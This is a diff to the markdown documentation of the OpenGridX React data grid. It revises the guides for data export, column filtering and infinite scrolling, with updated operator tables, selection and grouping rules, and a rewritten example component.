@@ -370,25 +452,34 @@ const columns: GridColDef[] = [
370
452
  },
371
453
  {
372
454
  field: 'salary',
373
- valueFormatter: ({ value }) => `$${value.toLocaleString()}`,
455
+ valueFormatter: ({ value }) => `$${(value as number).toLocaleString()}`,
374
456
  },
375
457
  ];
376
458
  ```
377
459
 
378
- > **Note:** In `exportToExcelAdvanced`, `valueFormatter` is only applied for `string`-typed columns. For `number`/`date`/`boolean` columns, raw values are passed to Excel and formatted via `columnStyles.numFmt`.
460
+ > **Note:** In `exportToExcelAdvanced`, `valueFormatter` is only applied for `string`-typed columns. For `number`/`date`/`boolean` columns, raw values are passed to Excel and formatted via `columnStyles.numFmt`; the formatter is used only for values that are missing or not of the column's type (see [Cell types](#cell-types)).
461
+
462
+ ### Aggregate values
463
+
464
+ Subtotal, grand-total and totals cells are formatted the same way in every text format (CSV, basic Excel, print, PDF):
465
+
466
+ - `count` and `unique` are plain counts formatted like the grid footer (`1,234`); the column's `valueFormatter` is not applied, because a count of a currency column is not an amount.
467
+ - `sum`, `avg`, `min` and `max` go through the column's `valueFormatter`. Its `row` argument is the record of aggregated values (like the grid's group rows), not a data row; if the formatter throws, the value is formatted like the grid footer instead of aborting the export. `min` / `max` of a `type: 'date'` column reach the formatter as a `Date`.
468
+ - When the first exported column has its own aggregate, its value is kept next to the label (`Subtotal: 300`, `TOTAL: $30.00`) instead of being overwritten.
379
469
 
380
470
  ---
381
471
 
382
472
  ## Excluding Columns
383
473
 
384
- You can exclude specific columns (e.g., action buttons or menus) from all export formats using the `exportable` property in the column definition. System columns are also automatically excluded.
474
+ You can exclude specific columns (e.g., action buttons or menus) from all export formats using the `exportable` property in the column definition. A few fields are also excluded automatically. Every other column you pass is exported, including hidden ones: pass `apiRef.current.getVisibleColumns()` to export what is on screen.
385
475
 
386
476
  | Method | Description |
387
477
  |---|---|
388
478
  | `exportable: false` | Set in `GridColDef` to manually exclude any column |
389
- | `__check__` | Native checkbox column (auto-excluded) |
390
- | `__actions__` | Common field for action buttons (auto-excluded) |
391
- | `isSpacer: true` | Spacer columns (auto-excluded) |
479
+ | `__checkbox_col__`, `__expand_col__`, `__reorder_col__` | The grid's checkbox, detail-panel and drag-handle columns (auto-excluded, v3.0+) |
480
+ | `__group__` | The row-grouping column from `groupingColDef` (auto-excluded; grouped exports write group labels from `groupedRows`) |
481
+ | `__check__`, `__actions__` | Legacy checkbox / action-button field names (auto-excluded) |
482
+ | `isSpacer: true` | Spacer columns (auto-excluded from every format since v3.0; before, only advanced Excel skipped them) |
392
483
 
393
484
  ### Example
394
485
  ```tsx
@@ -398,13 +489,26 @@ const columns: GridColDef[] = [
398
489
  {
399
490
  field: 'actions',
400
491
  headerName: 'Actions',
401
- exportable: false // This column won't appear in CSV/Excel/JSON/Print
492
+ exportable: false // This column won't appear in CSV/Excel/JSON/PDF/Print
402
493
  },
403
494
  ];
404
495
  ```
405
496
 
406
497
  ---
407
498
 
499
+ ## Selection, grouping and totals
500
+
501
+ Every exporter follows the same rules (v3.0+):
502
+
503
+ - **`selectedRows`** exports only the rows with those IDs, picked from the `rows` you pass. Pass all rows plus `selectedRows` rather than pre-filtering, so the exporter knows a selection was applied.
504
+ - **A non-empty selection takes precedence over `groupedRows`**: the selected rows are exported flat. (Before v3.0, CSV, basic Excel, JSON, print and PDF silently ignored the selection and exported every grouped row.) In `exportToExcelAdvanced`, `rows: 'selected'` sheets are flat and `rows: 'all'` sheets use `groupedRows`.
505
+ - **Totals follow the exported rows.** The grid's `aggregationResult` covers all filtered rows; when a selection narrows the export, the totals row is recomputed over the selected rows with the grid's own aggregation functions (it needs `aggregationModel`). Without a selection, `aggregationResult` is written as given — if you pass a subset of rows yourself (e.g. the current page), pass totals computed for that subset.
506
+ - Row selection is linear in the number of rows, so exporting "select all" on a large grid does not freeze the tab.
507
+ - **With a custom `getRowId`, pass it as the `getRowId` option.** `selectedRows` holds the grid's ids, and since v3.0 the grid no longer copies them onto `row.id`, so without the option a row that keeps its id in another field (or whose `id` field is not the key) is not matched.
508
+ - **`getGroupedExportRows()` exports every group**, collapsed or not, sorted and filtered like the screen; groups with no row left after the filter are omitted, and each subtotal is computed over the rows exported under it (v3.0+).
509
+
510
+ ---
511
+
408
512
  ## Performance Notes
409
513
 
410
514
  | Format | 10k rows | 100k rows |
@@ -428,7 +532,9 @@ All export functions work in:
428
532
 
429
533
  ## See Also
430
534
 
431
- - [Demo: Export Data](../demo/examples/ExportDemo.tsx)
432
- - [Demo: Advanced Excel Export](../demo/examples/AdvancedExcelExportDemo.tsx)
433
- - [Slots API Reference](./SLOTS_API.md)
434
- - [Theming Guide](./THEMING.md)
535
+ - [PDF Export](./pdf-export.md)
536
+ - [Toolbar Customization](./toolbar-customization.md)
537
+ - [Demo: Export Data](https://github.com/OpenCoreStack/OpenGridX/blob/main/demo/examples/ExportDemo/ExportDemo.tsx)
538
+ - [Demo: Advanced Excel Export](https://github.com/OpenCoreStack/OpenGridX/blob/main/demo/examples/AdvancedExcelExportDemo/AdvancedExcelExportDemo.tsx)
539
+ - [Slots API Reference](../customization/slots-api.md)
540
+ - [Theming Guide](../customization/theming.md)
@@ -3,7 +3,7 @@
3
3
  OpenGridX provides a robust filtering system with support for both client-side and server-side operations.
4
4
 
5
5
  ## 📑 Overview
6
- - **Quick Filter**: Search across all columns simultaneously.
6
+ - **Quick Filter**: Search across all visible, filterable columns at once.
7
7
  - **Column Filters**: Specific operators for different data types (string, number, date, etc.).
8
8
  - **Multi-Filter Groups**: Support for `AND`/`OR` logic operators.
9
9
  - **Server-Side Filtering**: Offload complex queries to your backend.
@@ -25,11 +25,24 @@ Simply define your columns with `filterable: true` (which is the default).
25
25
  />
26
26
  ```
27
27
 
28
+ The filter model can be controlled (`filterModel` + `onFilterModelChange`) or left to the grid. Uncontrolled, the grid keeps its own filter model: the toolbar search and filter panel (`slots={{ toolbar: GridToolbar }}`) and `apiRef.current.setFilterModel()` change it, `onFilterModelChange` reports each change, and `initialState.filter.filterModel` sets the starting filter (which is how [state persistence](./state-persistence.md) restores it).
29
+
30
+ ```tsx
31
+ <DataGrid
32
+ rows={rows}
33
+ columns={columns}
34
+ slots={{ toolbar: GridToolbar }} // search + filters work without any filter props
35
+ initialState={{ filter: { filterModel: { items: [{ field: 'age', operator: '>', value: 30 }] } } }}
36
+ />
37
+ ```
38
+
28
39
  ### Server-Side Filtering
29
- Set `filterMode="server"` and handle the request in your `dataSource`.
40
+ Set `filterMode="server"` and handle the request in your `dataSource`. The grid does not re-filter the rows it receives. Without a `dataSource`, fetch the filtered rows yourself from `onFilterModelChange` and pass them as `rows`.
30
41
 
31
42
  ```tsx
32
43
  <DataGrid
44
+ rows={[]}
45
+ columns={columns}
33
46
  filterMode="server"
34
47
  onFilterModelChange={(model) => console.log('Current Filters:', model)}
35
48
  dataSource={{
@@ -62,12 +75,35 @@ interface GridFilterItem {
62
75
  ```
63
76
 
64
77
  ### Supported Operators
78
+
79
+ The filter panel offers these operators per column `type` (the first one is the default):
80
+
65
81
  | Type | Operators |
66
82
  | :--- | :--- |
67
- | **String** | `contains`, `equals`, `startsWith`, `endsWith`, `isEmpty`, `isNotEmpty`, `isAnyOf` |
68
- | **Number** | `equals`, `!=`, `>`, `>=`, `<`, `<=`, `isEmpty`, `isNotEmpty` |
69
- | **Date** | `is`, `not`, `isEmpty`, `isNotEmpty` |
83
+ | **String** (default) | `contains`, `equals`, `startsWith`, `endsWith`, `isEmpty`, `isNotEmpty` |
84
+ | **Number** | `=`, `!=`, `>`, `>=`, `<`, `<=`, `isEmpty`, `isNotEmpty` |
85
+ | **Date** | `is`, `not`, `after`, `onOrAfter`, `before`, `onOrBefore`, `isEmpty`, `isNotEmpty` |
70
86
  | **Boolean** | `is` |
87
+ | **singleSelect** | `isAnyOf`, `is`, `not` |
88
+
89
+ Every operator in `GridFilterOperator` also works in a programmatic `filterModel` on any column; the panel shows such an operator as it is.
90
+
91
+ ### How values are matched
92
+
93
+ - **Empty values do not filter.** An item whose `value` is `undefined`, `null`, a blank string or an empty array is ignored, so picking an operator before typing (or clearing the input) leaves the grid unfiltered. `isEmpty` / `isNotEmpty` need no value.
94
+ - **Computed columns.** Cells are read through the column's `valueGetter`, so a computed column filters by the value it displays.
95
+ - **Text operators** (`contains`, `equals`, `startsWith`, `endsWith`, `is`, `not`) compare case-insensitively.
96
+ - **Number operators** compare numerically and accept numeric strings. A blank cell is empty, not `0`: it never matches `=`, `>`, `<` … and always matches `!=`.
97
+ - **Date operators** compare local calendar days. Cells and values can be `Date` objects, epoch milliseconds or date strings; a `'YYYY-MM-DD'` string is read as a local date (not UTC midnight). `not` matches empty cells; the other date operators never do.
98
+ - **`isAnyOf`** takes an array of allowed values. A single value is treated as a one-element list; an empty array does not filter.
99
+
100
+ ### Quick Filter
101
+
102
+ `quickFilterValues` is a list of terms. A row matches when **every** term is found (case-insensitive substring) in at least one searched column.
103
+
104
+ - Only **visible** columns with `filterable !== false` are searched. The row `id` and fields that are not columns are not searched.
105
+ - Each column is searched by its value after `valueGetter` and, when the column has a `valueFormatter`, by the formatted text as well. `Date` values are searched as `YYYY-MM-DD`; objects are skipped.
106
+ - The toolbar search box splits what the user types on whitespace, so `john london` becomes `['john', 'london']` and matches a row with first name John and city London.
71
107
 
72
108
  ---
73
109
 
@@ -76,10 +112,12 @@ The filter panel is accessible through the built-in `GridToolbar`. To use your o
76
112
 
77
113
  ```tsx
78
114
  <DataGrid
115
+ rows={rows}
116
+ columns={columns}
79
117
  slots={{
80
118
  toolbar: MyCustomToolbar
81
119
  }}
82
120
  />
83
121
  ```
84
122
 
85
- The `FilterPanel` component is also exported from `@opencorestack/opengridx` if you need to embed it inside a custom layout.
123
+ The `FilterPanel` component is also exported from `@opencorestack/opengridx` if you need to embed it inside a custom layout. See [`<FilterPanel />`](../components/filter-panel.md) for how it edits the model.
@@ -5,83 +5,91 @@ The OpenGridX DataGrid supports infinite scrolling (lazy loading), allowing you
5
5
  ## Concept
6
6
 
7
7
  When infinite scroll is enabled, the grid:
8
- 1. Disables client-side slicing (pagination in the UI).
9
- 2. Uses `paginationModel` internally to track the current page and page size.
8
+ 1. Shows no pager and never slices the loaded rows (`pagination` is ignored).
9
+ 2. Uses `paginationModel.page` and `pageSize` to decide how many rows should be loaded: `(page + 1) * pageSize`.
10
10
  3. Triggers `onRowsScrollEnd` when the user scrolls near the bottom of the grid, signaling that more data should be fetched.
11
- 4. Data is typically **appended** to the existing rows, rather than replacing them.
11
+ 4. **Appends** each response to the rows already loaded. Your `getRows` only returns the requested range.
12
12
 
13
13
  ## Usage
14
14
 
15
15
  To enable infinite scrolling:
16
16
 
17
- 1. Set `pagination={false}` to disable UI pagination controls.
17
+ 1. Pass a `dataSource` whose `getRows` returns the rows in `[startRow, endRow)`.
18
18
  2. Set `paginationMode="infinite"`.
19
- 3. Implement `onRowsScrollEnd` to update your data fetching logic/state (e.g., increment page number).
20
- 4. Ensure your `dataSource` manages the loaded rows correctly (usually appending).
19
+ 3. Control `paginationModel` and advance `page` in `onRowsScrollEnd`. The grid does not advance the page on its own.
20
+ 4. Set `sortingMode="server"` / `filterMode="server"` if `getRows` applies `sortModel` / `filterModel`.
21
21
 
22
22
  ```tsx
23
- import { DataGrid, GridDataSource } from '@opencorestack/opengridx';
23
+ import { useCallback, useMemo, useState } from 'react';
24
+ import {
25
+ DataGrid,
26
+ type GridColDef,
27
+ type GridDataSource,
28
+ type GridPaginationModel,
29
+ } from '@opencorestack/opengridx';
30
+ import '@opencorestack/opengridx/styles';
24
31
 
25
- // ... setup columns and mockApi ...
32
+ type Person = {
33
+ id: number;
34
+ name: string;
35
+ };
36
+
37
+ const columns: GridColDef<Person>[] = [
38
+ { field: 'id', headerName: 'ID', width: 90 },
39
+ { field: 'name', headerName: 'Name', width: 200, sortable: true },
40
+ ];
41
+
42
+ // With a dataSource the grid owns the loaded rows; `rows` only seeds the store.
43
+ const NO_ROWS: Person[] = [];
44
+
45
+ declare function fetchPeople(params: {
46
+ startRow: number;
47
+ endRow: number;
48
+ sort?: { field: string; sort: 'asc' | 'desc' };
49
+ }): Promise<{ rows: Person[]; total: number }>;
26
50
 
27
51
  export default function InfiniteScrollDemo() {
28
- const [paginationModel, setPaginationModel] = useState({
52
+ const [paginationModel, setPaginationModel] = useState<GridPaginationModel>({
29
53
  page: 0,
30
- pageSize: 50
54
+ pageSize: 50,
31
55
  });
32
- const [loading, setLoading] = useState(false);
33
- const [allRows, setAllRows] = useState([]);
34
-
35
- const dataSource: GridDataSource = useMemo(() => ({
36
- getRows: async (params) => {
37
- setLoading(true);
38
- try {
39
- // Fetch NEXT batch of rows from server
40
- const response = await mockApi.getRows(params);
41
-
42
- // CRITICAL: Append new rows to existing rows
43
- // (Or ensure response.rows contains ONLY new rows and parent handles appending)
44
- return response;
45
- } finally {
46
- setLoading(false);
47
- }
48
- }
56
+
57
+ const dataSource = useMemo<GridDataSource<Person>>(() => ({
58
+ getRows: async ({ startRow, endRow, sortModel }) => {
59
+ // Return ONLY the requested range; the grid appends it to what is loaded.
60
+ const { rows, total } = await fetchPeople({ startRow, endRow, sort: sortModel[0] });
61
+ return { rows, rowCount: total };
62
+ },
49
63
  }), []);
50
64
 
51
65
  const handleScrollEnd = useCallback(() => {
52
- if (!loading) {
53
- // Increment page to fetch next batch
54
- setPaginationModel(prev => ({
55
- ...prev,
56
- page: prev.page + 1
57
- }));
58
- }
59
- }, [loading]);
66
+ setPaginationModel(prev => ({ ...prev, page: prev.page + 1 }));
67
+ }, []);
60
68
 
61
69
  return (
62
70
  <DataGrid
63
- rows={[]} // Rows managed by dataSource
71
+ rows={NO_ROWS}
64
72
  columns={columns}
65
73
  dataSource={dataSource}
66
-
67
- // KEY PROPS FOR INFINITE SCROLL
68
- pagination={false}
69
74
  paginationMode="infinite"
70
75
  sortingMode="server"
71
-
72
76
  paginationModel={paginationModel}
73
77
  onPaginationModelChange={setPaginationModel}
74
-
75
78
  onRowsScrollEnd={handleScrollEnd}
79
+ height={400}
76
80
  />
77
81
  );
78
82
  }
79
83
  ```
80
84
 
85
+ The grid needs a bounded height (here `height={400}`) and the stylesheet import; without either the viewport never scrolls, every loaded row renders, and `onRowsScrollEnd` keeps firing until the whole dataset is loaded.
86
+
81
87
  ## Implementation Details
82
88
 
83
- * **`onRowsScrollEnd`**: Triggered when `scrollHeight - scrollTop - clientHeight < threshold` (default 100px).
84
- * **Request Handling**: `useGridDataSource` includes logic to cancel stale requests if scrolling happens too quickly.
85
- * **Appending vs Replacing**:
86
- * In `infinite` mode, rows fetched for **new pages** are appended.
87
- * Rows fetched due to **sorting/filtering changes** replace the entire dataset (resetting to page 0).
89
+ * **`onRowsScrollEnd`**: Fired once when the end of the rows comes within 100px of the viewport bottom (`scrollHeight - scrollTop - clientHeight < 100`). It is re-armed when the user scrolls out of that zone or the row count changes, so one scroll gesture loads one page. It also fires after the rows change when the end is already in view, so a first page that does not fill the viewport keeps loading until it does. Horizontal scrolling never fires it.
90
+ * **Loading placeholders**: the skeleton rows shown while the next page loads are drawn after the last loaded row, only when the user has scrolled to the end of the data.
91
+ * **Ranges, not pages**: each request asks for `[rows loaded so far, (page + 1) * pageSize)`. Advancing the page twice within the 300 ms debounce, or while a request is in flight, still loads every row in between: one request runs at a time and, when it lands, the grid requests whatever the current page still needs. A response shorter than requested is treated as the end of the data until the page advances again.
92
+ * **Appending**: rows are appended; a row whose id (`getRowId`) is already loaded is skipped, so overlapping pages never show a row twice.
93
+ * **Restarting**: a sort, filter, page-size or `dataSource` (`getRows`) change replaces the rows with a new request from row 0 and reports page 0 through `onPaginationModelChange`. Setting a smaller page yourself reloads the list up to that page.
94
+ * **No pager**: `paginationMode="infinite"` ignores `pagination`; no pagination bar is shown and loaded rows are never sliced.
95
+ * **Stale responses**: a response for a list that has since restarted is discarded.